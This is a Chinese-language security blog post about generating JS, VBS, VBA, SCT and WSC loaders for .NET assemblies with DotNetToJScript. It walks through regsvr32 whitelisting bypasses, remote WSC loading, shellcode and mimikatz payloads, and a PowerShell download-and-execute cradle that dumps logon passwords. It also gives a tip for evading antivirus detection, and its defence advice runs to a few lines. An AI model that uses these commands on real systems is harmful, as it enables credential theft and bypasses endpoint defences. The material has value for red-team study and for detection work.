8

利用JS加载.Net程序

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


最近James Forshaw开源了一个工具DotNetToJScript,能够利用JS/Vbs脚本加载.Net程序,很有趣。 Casey Smith和Cn33liz都对此做了进一步研究,开源了他们的利用代码。 本文将要对该技术作系统整理,帮助大家更好的认识。

0x01 简介


本文将要介绍以下内容:

  • DotNetToJScript编译方法
  • DotNetToJScript使用方法
  • 利用JS/Vbs执行shellcode
  • 利用JS/Vbs执行powershell脚本

0x02 DotNetToJScript编译方法


DotNetToJScript下载地址:

https://github.com/tyranid/DotNetToJScript

使用工具VS2012进行编译

缺少程序集引用NDesk.Options

解决方法:

需要添加引用NDesk.Options

下载地址:

http://www.ndesk.org/Options

解压缩,工程-添加引用-浏览-\ndesk-options-0.2.1.bin\ndesk-options-0.2.1.bin\lib\ndesk-options\NDesk.Options.dll

接下来,将目标框架指定为.NET Frameword 2.0,重新编译

缺少程序集引用Linq

解决方法:

添加对System.Core.dll 3.5的引用

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Core.dll

添加引用后编译成功,分别在两个目录生成DotNetToJScript.exe和ExampleAssembly.dll

0x03 DotNetToJScript使用方法


1、生成js脚本

参数如下:

DotNetToJScript.exe -o 1.js ExampleAssembly.dll

执行后,生成1.js

执行1.js,调用ExampleAssembly.dll中的public TestClass()

Alt text

执行过程如下图,弹出对话框

Alt text

2、生成vbs脚本

参数如下:

DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dll

执行如下图

Alt text

3、生成vba脚本

参数如下:

DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dll

用来放在office宏中

4、生成sct脚本

参数如下:

DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dll

启动方式:

命令行参数如下:

regsvr32.exe /u /n /s /i:3.sct scrobj.dll

注:

细节可参考之前的文章《Use SCT to Bypass Application Whitelisting Protection》

5、生成wsc脚本

参数如下:

DotNetToJScript.exe -m -o 4.wsc ExampleAssembly.dll

启动方式1:本地调用

通过js调用,js脚本内容如下:

GetObject("script:C:\\test\\4.wsc");

注:

需要绝对路径,wsc文件后缀名任意

启动方式2:远程启动

将4.wsc保存在github,地址如下:

https://raw.githubusercontent.com/3gstudent/test/master/4.wsc

js脚本内容如下:

GetObject("script:https://raw.githubusercontent.com/3gstudent/test/master/4.wsc")

注:

细节可参考之前的文章《WSC、JSRAT and WMI Backdoor》

0x04 利用JS/Vbs能够实现的payload汇总


对以上测试中的ExampleAssembly.dll,可替换成其他payload:

1、执行shellcode

代码可参考如下地址:

https://gist.github.com/subTee/618d40aa4229581925eb9025429d8420#gistcomment-2057305

新建c#工程,可选择c#控制台应用程序,编译成exe

生成js脚本的参数如下:

DotNetToJScript.exe -o shellcode.js shellcode.exe

测试如下图

Alt text

2、执行mimikatz

代码可参考如下地址:

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

在c#中执行mimikatz的代码可参考如下地址:

https://gist.github.com/subTee/5c636b8736530fb20c3d

3、执行powershell

代码可参考如下地址:

https://github.com/Cn33liz/StarFighters

作者:Cn33liz

StarFighters:

  • 能够加载Empire框架的启动代码
  • 支持JavaScript和VBScript
  • 不需要powershell.exe,可用于绕过白名单拦截
  • 通过powershell runspace environment (.NET)执行powershell代码

执行powershell代码的方式可参考工程p0wnedShell,地址如下:

https://github.com/Cn33liz/p0wnedShell

我之前对此做过研究,对其精简代码,使其支持.net 2.0,地址如下:

https://github.com/3gstudent/Smallp0wnedShell

实际测试:

StarFighters不仅能够加载Empire框架的启动代码,也可用来直接执行powershell命令

方式如下:

(1)执行powershell单条命令

需要对命令作base64编码,命令如下:

$code = 'start calc.exe'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded 

得到base64代码如下:

cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==

替换StarFighter.js中的var EncodedPayload

成功执行,弹出计算器如下图

Alt text

(2)本地执行powershell脚本

使用Invoke-Mimikatz.ps1,下载地址如下:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

添加导口令的操作代码:

Invoke-Mimikatz -Command "log privilege::debug sekurlsa::logonpasswords"

注:

添加log参数是为了将结果导出到文件mimikatz.log

命令如下:

$code = Get-Content -Path Invoke-Mimikatz.ps1
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded | Out-File 1.txt

将生成的1.txt中的内容替换StarFighter.js中的var EncodedPayload

(3)远程执行powershell脚本

powershell命令如下:

powershell IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'log privilege::debug sekurlsa::logonpasswords'"

作base64的代码如下:

$code = Get-Content -Path code.txt
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded | Out-File 2.txt

将生成的2.txt中的内容替换StarFighter.js中的var EncodedPayload

注:

某杀毒软件默认会查杀该js脚本,一个绕过静态查杀的思路(不保证有效期):

  • 将脚本保存成ASCII格式,会被查杀
  • 换成UNICODE格式,不被查杀

0x05 防御


站在防御的角度,大家都会对powerShell.exe作拦截,但是这还远远不够:

powershell runspace environment (.NET)才是重点

具体到本文的技巧,防御方法如下:

分别对js、vbs、vba宏、sct、wsc脚本作限制


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK